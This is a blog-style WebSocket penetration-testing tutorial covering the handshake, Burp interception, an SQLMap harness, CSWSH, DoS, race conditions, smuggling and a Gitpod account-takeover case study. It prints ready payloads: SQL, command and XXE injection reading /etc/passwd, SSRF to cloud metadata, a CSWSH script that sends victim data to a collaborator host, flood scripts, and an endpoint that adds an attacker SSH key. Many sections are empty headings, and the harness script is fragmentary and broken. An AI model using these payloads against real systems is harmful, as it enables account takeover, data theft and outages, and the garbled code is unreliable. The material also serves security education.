Ever wonder how live chat, multiplayer games, or stock tickers work so smoothly in your browser? The secret is often WebSockets. They create a persistent, two-way street for data between your browser and the server, breaking free from the old-fashioned "request-response" cycle of regular HTTP.

But this power comes with new risks. That constant open connection can be a goldmine for attackers if it's not set up securely.

To make sense of it all, here's a straightforward breakdown of what we're going to cover:

1. Getting Started with WebSockets

2. The Hacker's Playbook for WebSockets

3. Common WebSocket Vulnerabilities You Can Exploit Cross-Site WebSocket Hijacking (CSWSH), Race Conditions, Denial-of-Service, etc.

4. Putting It All Together

We'll go from the basic "hello world" of a WebSocket connection all the way to exploiting critical flaws like CSWSH, where an attacker can perform unauthorized actions on behalf of a victim user.

Grab your tea, and let's kick things off with Part 1

1. Getting Started with WebSockets

What is a WebSocket? A WebSocket is a bi-directional (data can flow both ways between client and server), full-duplex communications protocol that starts with an HTTP handshake and then "upgrades" to a persistent socket connection. This allows data to flow both ways between client and server continuously, without needing new requests for each message. Common uses include live chat, real-time notifications, and streaming data like stock prices.

Behold the Bidirectional Browser

The WebSocket Protocol enables two-way communication between a client running code (may untrusted) in a controlled environment to a remote host that has opted-in to communications from that code.

HTTP vs. WebSockets: What's the Big Difference?

HTTP (The Traditional Way) Most websites use HTTP, where communication follows a strict pattern:

WebSockets WebSockets work completely differently:

Key Technical Differences:

Connection Management:

Data Overhead:

Security Context:

When to Use WebSockets (And When Not To)

WebSockets aren't always the right tool for the job. While they're incredibly efficient for real-time, bidirectional communication, they don't magically solve scaling problems.

The Scaling Reality:

When WebSockets Shine:

When Simpler Alternative (HTTP) Work Better:

For these simpler use cases, approaches like polling, Server-Sent Events, or short-lived HTTP requests can be more efficient and easier to implement.

Important Note About Security: While it's true that WebSocket data frames themselves don't have HTTP headers or cookies, the initial handshake absolutely does include authentication data. Plus, applications typically build their own security into the message content, so WebSockets aren't inherently less secure - they just handle security differently.

The Opening Handshake: How the Connection is Made

Step 1: The Upgrade Request

WebSocket connections are normally created using client-side JavaScript like the following:

javascript
// opens a secure WebSocket connection to the server
const ws = new WebSocket("wss://example.com/chat");

The browser sends a special HTTP request asking to switch to WebSocket protocol:

GET /chat HTTP/1.1
Host: example.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: Upgrade
Upgrade: websocket
Cookie: session=KOsEJNufiw4Rd9BDNrVmvwBF9rEijeE2

Step 2: Server Acceptance If the server supports WebSockets and accepts the connection, it responds with:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

Step 3: Data Frames Begin Once the 101 response is received, the protocol switches from HTTP to WebSocket and actual data frames start flowing.

Key Headers Explained:

The Result: Persistent Two-Way Communication Once upgraded, the WebSocket connection remains actively open. The browser and server can now send messages to each other at any time, in either direction, without needing new requests. This persistent channel stays alive until either the client or server deliberately closes the connection.

Understanding the Data: JSON, Binary, and Everything in Between Once connected, WebSocket messages can contain various data types:

<message>
  <user>Ibrahim</user>
  <content>Hello</content>
</message>

Example of sending a message:

javascript
// Send a plain text message
ws.send("Hello");

// Receive messages
websocket.onmessage = function(event) {
    console.log(event.data);
};

Key Points to Remember:

2. The Hacker's Playbook for WebSockets

How to Intercept and Mess with WebSocket Messages Intercepting WebSocket traffic is straightforward with tools like Burp Suite:

This allows you to manipulate live WebSocket traffic, changing parameters, headers, or payload content in real-time.

Cracking the Code: Finding Encryption and Compression When WebSocket messages appear as unreadable bytes, look for these clues:

In the Handshake Headers:

In Client-Side Code: Search DevTools (Sources → Ctrl+Shift+F) for cryptographic keywords:

crypto.subtle, window.crypto, importKey, deriveKey, encrypt, decrypt, pbkdf2, hkdf, scrypt, AES, RSA, argon2, protobuf, msgpack, base64, mqtt, Uint8Array, atob, new WebSocket, ws.send

Finding these indicates client-side encryption - note the file and line numbers for further investigation. There's even a Burp Suite extension (https://github.com/Anof-cyber/PyCript-WebSocket/) specifically for bypassing client-side WebSocket encryption.

Note: wss:// encrypts the entire connection (transport-level TLS) but if you intercept message or see it from DevTools it will be shown in plain not encrypted.

Bridging the Gap: Using Classic Tools like SQLMap on WebSockets Traditional tools like SQLMap don't understand WebSockets natively, but you can build a WebSocket Harness - a middleware that translates HTTP requests to WebSocket messages.

How the Harness Works:

  1. A local web server runs on your machine (e.g., port 8000)
  2. Your tool (SQLMap) sends normal HTTP GET requests to this server
  3. The harness forwards parameters to the actual WebSocket endpoint
  4. Responses come back through the harness to your tool
Using Classic Tools like SQLMap on WebSockets

Web Socket Harness for Traditional Penetration Testing Tools Script

python
#!/usr/bin/env python3
"""
Modern WebSocket Harness for Penetration Testing

This script acts as a bridge between traditional HTTP-based tools (like SQLMap, 
Burp Scanner, Commix) and WebSocket endpoints. It receives normal HTTP GET 
requests, converts them to WebSocket messages, and returns the responses back 
as HTTP content.

    ws = create_connection(args.url, sslopt={"cert_reqs": ssl.CERT_NONE})
    
    # Setup server
    server = HTTPServer(('127.0.0.1', args.port), WebSocketHarness)

    server.template = template

        print("\n[!] Shutting down...")
        ws.close()
        server.shutdown()

if __name__ == '__main__':
    main()

SQLMap then attacks http://127.0.0.1:8000/?fuzz=test and the harness translates these injections into WebSocket messages, enabling SQL injection detection through WebSocket endpoints. This same approach works for other tools like Burp Active Scan and Commix.

Usage Example:

bash
# Start the harness
python ws-harness.py -u "ws://dvws.local:8080/authenticate-user" -m message.txt

# In another terminal, run SQLMap against the harness
sqlmap -u "<http://127.0.0.1:8000/?fuzz=test>" --batch

This harness enables traditional penetration testing tools to work with WebSocket applications by translating HTTP requests to WebSocket messages and back again.

3. Common WebSocket Vulnerabilities You Can Exploit

Advanced Testing Strategy

Step 1: Discovery

Step 2: Authorization Testing

Step 3: Input Validation

Step 4: Business Logic

Step 5: Advanced Attacks

Remember: WebSockets are just another way to send data to servers. If you'd test it in a normal HTTP request, you should test it in a WebSocket message too! The persistent nature of WebSockets just makes some vulnerabilities more dangerous and opens up new attack vectors like CSWSH.

Now that you understand how WebSockets work, let's explore the security risks. WebSockets can have all the same vulnerabilities as regular web requests, plus some special ones unique to persistent connections.

Traditional Web Vulnerabilities in WebSockets

The same payloads you'd use in POST data or URL parameters can often be sent through WebSocket messages with the same impact. The only difference is the transport layer - the vulnerabilities themselves work exactly the same way.

SQL Injection:

{
  "username": "admin' OR '1'='1' -- ",
  "password": "anything"
}

Command Injection:

{
  "command": "ping 127.0.0.1 && cat /etc/passwd"
}

XXE - File Reading:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]><message><user>&xxe;</user><content>test</content></message>


XSS (Cross-Site Scripting):

{
  "message": "<img src=0 onerror=alert(1)>"
}

Server-Side Request Forgery (SSRF):

{
  "url": "<http://169.254.169.254/latest/meta-data/>",
  "action": "fetch_url"
}

Insecure Direct Object Reference (IDOR) :

// View your own order
{
  "request": "order_details",
  "order_id": "1001"
}

// IDOR - view someone else's order with sensitive info
{
  "request": "order_details",
  "order_id": "1002"  // Another customer's order
}

Cross-Site WebSocket Hijacking (CSWSH) - The WebSocket CSRF

What it is: Imagine CSRF (Cross-Site Request Forgery) but much more dangerous. Instead of just making a one-time request, the attacker gets a persistent two-way connection using the victim's session, If the handshake lacks CSRF tokens or unpredictable values.

How it works:

  1. You visit a malicious website while logged into a vulnerable app
  2. The malicious page opens a WebSocket to the vulnerable app
  3. Your browser automatically sends your cookies (session) with the handshake
  4. The server accepts the connection thinking it's you
  5. The attacker now has a live channel to send/receive messages as you

How to find it:

To be like this request:

Upgrade Request

Payload to do CSWSH:

html
<script>
    var ws = new WebSocket('wss://victimsite.com/');
    ws.onopen = function() {
        ws.send("profile");
    };
    ws.onmessage = function(event) {
        fetch('<https://burpcollab.oastify.com>', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

after this PoC see the attacker burp collab:

PoC For CSWSH

Why it's dangerous:

Denial of Service (DoS) - Crashing WebSockets

What it is: Overwhelming WebSocket servers by exploiting their persistent connection nature through resource exhaustion attacks. This can target server memory, CPU, or network capacity.

Memory Exhaustion Attack: Some WebSocket servers trust the payload length declared in frames and pre-allocate buffers accordingly. By sending frames with extremely large length values (close to Integer.MAX_VALUE), you can cause OutOfMemory errors and crash the server.

Connection Flood Attack:

javascript
// Open hundreds of WebSocket connections simultaneously
for(let i = 0; i < 500; i++) {
    const ws = new WebSocket('wss://target.com/');
    ws.onopen = function() {
        // Keep each connection active with periodic messages
        setInterval(() => {
            ws.send('SPAM_MESSAGE_' + Date.now());
        }, 100);
    };
}

Message Flood Attack:

javascript
// Single connection, continuous massive message spam
const ws = new WebSocket('wss://target.com/');
ws.onopen = function() {
    // Send large messages in an infinite loop
    while(true) {
        ws.send('A'.repeat(10000)); // 10KB per message
    }
};

Compression Bomb Attack:

javascript
// Exploit permessage-deflate compression
const ws = new WebSocket('wss://target.com/');
ws.onopen = function() {
    // Send highly compressible data that expands massively
    const highlyCompressible = 'A'.repeat(1000000); // 1MB of repeated data
    ws.send(highlyCompressible);
};

Why WebSockets Are may Vulnerable to DoS:

Impact:

Race Conditions - When Speed Creates Holes

What it is: When two actions happen at almost the same time and the application doesn't handle the timing correctly, creating unexpected results.

Example:

javascript
// Send multiple transfer requests simultaneously
const ws = new WebSocket('wss://bank.com/transfer');
ws.onopen = function() {
    // Send 10 transfer requests at once
    for(let i = 0; i < 10; i++) {
        ws.send(JSON.stringify({
            "action": "transfer",
            "amount": 100,
            "to_account": "attacker_account"
        }));
    }
};

Limited Stock Example:

javascript
// Multiple purchase requests for last item
{
  "action": "purchase",
  "product_id": "limited_edition_1",
  "quantity": 1
}

How to exploit:

WebSocket Smuggling: Exploiting Protocol Confusion

WebSocket smuggling is a critical attack that exploits a mismatch in how a front-end proxy and a back-end server interpret the WebSocket handshake. If the proxy and backend disagree on whether the handshake was successful, the proxy might keep the TCP connection to the backend open. An attacker can then "smuggle" raw HTTP requests through this connection, bypassing security controls and directly accessing internal APIs.

I mean A confused handshake creates an open tunnel, letting an attacker send HTTP requests straight to the backend.

Scenario A: Broken Handshake Validation We need to bypass the proxy to reach internal, backend-only endpoints (e.g., http://127.0.0.1:5000/internal).

How It Works:

  1. The Attack:
    • The attacker sends a malformed WebSocket upgrade request (with a wrong Sec-WebSocket-Version).
    • The backend correctly rejects it with a non-101 response (like 426 Upgrade Required).
    • The proxy, performing only partial checks, treats the connection as upgraded and keeps the upstream TCP socket open.
    • The attacker reuses this open socket to send standard HTTP requests directly to the backend.

Attack Flow in Action:

1. Attacker sends a bad upgrade:

GET /chat HTTP/1.1
Host: example.com
Sec-WebSocket-Version: 99 // Incorrect version
Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
Connection: Upgrade
Upgrade: websocket

2. Backend rejects it:

HTTP/1.1 426 Upgrade Required
Content-Length: 0

3. Proxy keeps the connection alive. Attacker smuggles an HTTP request:

POST /internal/secret HTTP/1.1
Host: 127.0.0.1:5000
Content-Length: 26

{"action":"read_flag","id":1}

The Impact:

Scenario B: SSRF-Triggered Upgrade Hijacking

The Goal: Chain a low-severity SSRF vulnerability with the proxy's WebSocket handling to bypass security controls and access internal REST APIs.

Technical Deep Dive:

Most modern reverse proxies (like NGINX) validate the backend's status code during the WebSocket handshake, requiring a 101 Switching Protocols response. While this makes exploitation harder, it doesn't make it impossible.

The Architecture:

Attack Flow Breakdown:

Step 1: Crafted Request with Upgrade Header

The attacker sends a POST request to the healthcheck endpoint but includes Upgrade: websocket headers. NGINX, seeing the Upgrade header, treats this as a WebSocket handshake attempt and forwards it to the backend.

POST /api/health HTTP/1.1
Host: websocket.example.com
Connection: keep-alive, Upgrade
Upgrade: websocket
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

u=http://attacker-controlled.com/websocket-poc

Key Insight: NGINX focuses primarily on the presence of Upgrade headers and doesn't validate whether this specific endpoint should handle WebSocket connections.

Step 2: Backend SSRF Execution and 101 Injection

The backend processes the healthcheck request and fetches the attacker-controlled URL. The attacker's server responds with a crafted 101 Switching Protocols response:

HTTP/1.1 101 Switching Protocols
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=

The backend relays this 101 response back to NGINX. Since NGINX validates status codes, it sees the 101 and assumes a successful WebSocket handshake has occurred.

Step 3: Connection State Confusion

NGINX now believes:

In reality:

Step 4: Smuggling Internal API Requests

The attacker now has an open, authenticated connection to the backend and can send raw HTTP requests to internal endpoints:

GET /internal/admin/users HTTP/1.1
Host: 127.0.0.1:8080
Authorization: Bearer [inherited-session-token]

POST /internal/config HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json
Content-Length: 42

{"action":"disable_firewall","confirm":true}

Why This Works Despite Protections:

  1. Status Code Validation Bypass: The attacker provides the required 101 status through SSRF
  2. Connection Persistence: NGINX maintains the connection based on WebSocket protocol expectations
  3. Authentication Context: The connection carries the original session cookies or tokens
  4. Path Isolation Failure: The proxy doesn't validate that WebSocket upgrades should only occur on specific paths

Impact:

This scenario demonstrates how a seemingly minor SSRF vulnerability can be weaponized into a full internal network breach when combined with WebSocket protocol handling flaws.

Gitpod RCE: A Case Study in CDE (Cloud development environments) Security

TL;DR: The Critical Vulnerability Chain

CVE-2023-0957 enabled full account takeover in Gitpod's CDE through a devastating combination of:

The attack allowed complete workspace compromise simply by having a victim visit a malicious link.

Understanding the Attack: Technical Breakdown

Component 1: Cross-Site WebSocket Hijacking

What Went Wrong: Gitpod's JSONRPC API used WebSockets with cookie-based authentication but lacked proper Origin validation.

The Security Gap:

Same Origin Policy doesn't apply to WebSockets, No additional authentication in WebSocket channel, Origin header wasn't properly validated and Session cookies transmitted cross-origin

Component 2: SameSite Cookie Bypass

The Critical Insight: SameSite cookies consider *.gitpod.io as the same "site," allowing workspace subdomains to bypass protections.

SameSite vs Same Origin:

Exploitation Path:

Attacker controls: evil-workspace.gitpod.io
Victim visits: evil-workspace.gitpod.io/exploit.html
Browser sends cookies to: gitpod.io (same site!)
WebSocket connection established with victim's session

3. VS Code Server Manipulation

what is VS Code Server? Visual Studio Code (VS Code) Server is the backend component that runs in cloud development environments like Gitpod. It's the engine that powers the web-based VS Code interface, handling file operations, extensions, and serving the development environment to your browser.

The Attack Strategy:

The researchers faced a critical challenge: they needed to execute malicious JavaScript in the victim's browser context from a trusted *.gitpod.io domain. Traditional attack methods wouldn't work due to SameSite cookie restrictions.

The Breakthrough:

Since attackers controlled their own Gitpod workspace, they realized they could modify the VS Code server itself to serve their exploit:

Technical Execution:

  1. Code Modification:
    • Located the VS Code server's /version API endpoint
    • Modified it to return malicious HTML instead of version information
    • Changed content type from application/json to text/html

Before Modification:

javascript
// Original VS Code endpoint
app.get('/version', (req, res) => {
    res.json({"commit": "a1b2c3d4e5f6"});
});

After Modification:

javascript
// Weaponized VS Code endpoint
app.get('/version', (req, res) => {
    res.setHeader('Content-Type', 'text/html');
    res.send(`
        <script>
        const ws = new WebSocket('wss://gitpod.io/api/jsonrpc');
        ws.onopen = () => {
            // Steal user data, add SSH keys, compromise account
            ws.send(JSON.stringify({"method": "getLoggedInUser"}));
            ws.send(JSON.stringify({"method": "addSSHPublicKey"}));
        };
        </script>
    `);
});

  1. Process Manipulation:
    • Terminated the running VS Code process
    • Let Gitpod's supervisor automatically restart it
    • Modified code loaded on restart
    • Server now served exploits to all visitors

The Attack Flow:

Victim visits: attacker-workspace.gitpod.io/version
         ↓
Modified VS Code serves HTML with malicious JavaScript
         ↓
Browser executes script (trusted gitpod.io domain)
         ↓
Script creates WebSocket to gitpod.io with victim's cookies
         ↓
Full account compromise via authenticated JSONRPC calls

This approach transformed the development environment itself into an attack vector, demonstrating the critical need for code integrity protection in cloud-based development platforms.

The Complete Attack Flow

Step-by-Step Exploitation

  1. Initial Access:
    • Attacker creates malicious workspace
    • Modifies VS Code server to serve exploit
    • Victim visits attacker's workspace URL
  2. WebSocket Hijacking:
    • Victim's browser establishes WebSocket to Gitpod
    • Session cookies transmitted automatically
    • Attacker gains authenticated JSONRPC access
  3. Privilege Escalation or unauthorized access:
javascript
// Extract sensitive user data
ws.send(JSON.stringify({
    "method": "getLoggedInUser",
    "params": []
}));

// Add attacker's SSH key
ws.send(JSON.stringify({
    "method": "addSSHPublicKey",
    "params": [{"key": "ssh-rsa AAAA... attacker-key"}]
}));

  1. Persistent Access:
    • SSH into victim's workspaces
    • Access all development environments
    • Potentially compromise source code and credentials

Impact:

Full workspace compromise, SSH access to all victim environments, Source code exfiltration and Credential theft from development environments

4. Putting It All Together

A Look at Socket.IO

Socket.IO is a popular JavaScript library that builds an additional protocol layer on top of WebSockets, providing extra features like automatic reconnection, heartbeats, and high-level events.

How to Spot It:

Common Socket.IO Frames:

Why It Matters:

Each event maps directly to server-side handlers, making them equivalent to HTTP endpoints that require proper validation and authorization.

Use case: Basic Socket.IO fuzzing - connects and sends predefined messages.

Intruder example:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def queue_websockets(upgrade_request, message):
    connection = websocket_connection.create(
        upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
    connection.queue('40')
    connection.queue('42["message","hello"]')

@Pong("3")
def handle_outgoing_message(websocket_message):
    results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
    results_table.add(websocket_message)

Use case: More advanced attacks with better connection management.

HTTP adapter variant:

python
import burp.api.montoya.http.message.params.HttpParameter as HttpParameter

def create_connection(upgrade_request):
    connection = websocket_connection.create(
        upgrade_request.withUpdatedParameters(HttpParameter.urlParameter("EIO", "4")))
    connection.queue('40')
    connection.decIn()
    return connection

@Pong("3")
def handle_outgoing_message(websocket_message):
    results_table.add(websocket_message)

@PingPong("2", "3")
def handle_incoming_message(websocket_message):
    results_table.add(websocket_message)
